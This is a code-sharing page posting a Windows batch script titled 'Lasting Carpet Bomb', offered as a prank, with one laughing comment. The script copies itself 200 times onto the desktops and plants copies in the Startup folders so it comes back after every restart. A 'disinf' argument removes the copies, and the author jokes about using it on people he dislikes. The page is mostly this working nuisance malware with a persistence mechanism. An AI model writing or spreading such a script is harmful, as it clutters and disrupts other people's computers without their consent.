License Public Domain
Lines 41
Keywords
batch (1) bomb (1) carpet (1) copy (1) startup (1)
Included in this Library
Permissions
Owner: ferrettsyl
Viewable by Everyone
Editable by All Siafoo Users
Hide
Free your code from a slow death on your hard drive Join Siafoo Now or Learn More

Lasting Carpet Bomb Atom Feed 2

In Brief Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.
# 's
 1@ECHO OFF
2:This was meant as a harmless joke, and it's not hard to fix if you read through the code.
3:If you just use the "disinf" argument on the command line all is well.
4:Please only use this on people I don't like (jk)
5IF "%1"=="" GOTO fill
6IF "%1"=="fill" GOTO fill
7IF "%1"=="kill" GOTO kill
8IF "%1"=="inf" GOTO inf
9IF "%1"=="disinf" GOTO kill
10GOTO bye
11:fill
12IF EXIST C:\Users\%USERNAME%\Desktop\ (
13FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\Public\Desktop\joke%%A.bat"
14FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
15)
16FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
17FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
18IF "%1"=="" GOTO inf
19GOTO theend
20:kill
21IF EXIST C:\Users\%USERNAME%\Desktop\ (
22FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\Public\Desktop\joke%%A.bat"
23FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
24)
25FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
26FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
27IF "%1"=="disinf" GOTO disinf
28GOTO theend
29:inf
30TYPE "%~df0" > "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
31TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
32TYPE "%~df0" > "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
33GOTO theend
34:disinf
35ECHO Y | DEL "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
36ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
37ECHO Y | DEL "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
38GOTO theend
39:bye
40ECHO "fill" to make more and "kill" to get rid of 'em. inf to make it stick a little longer ;)
41:theend

Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.

Comments

over 7 years ago (19 Feb 2009 at 04:08 PM) by Stou S.
lol oh god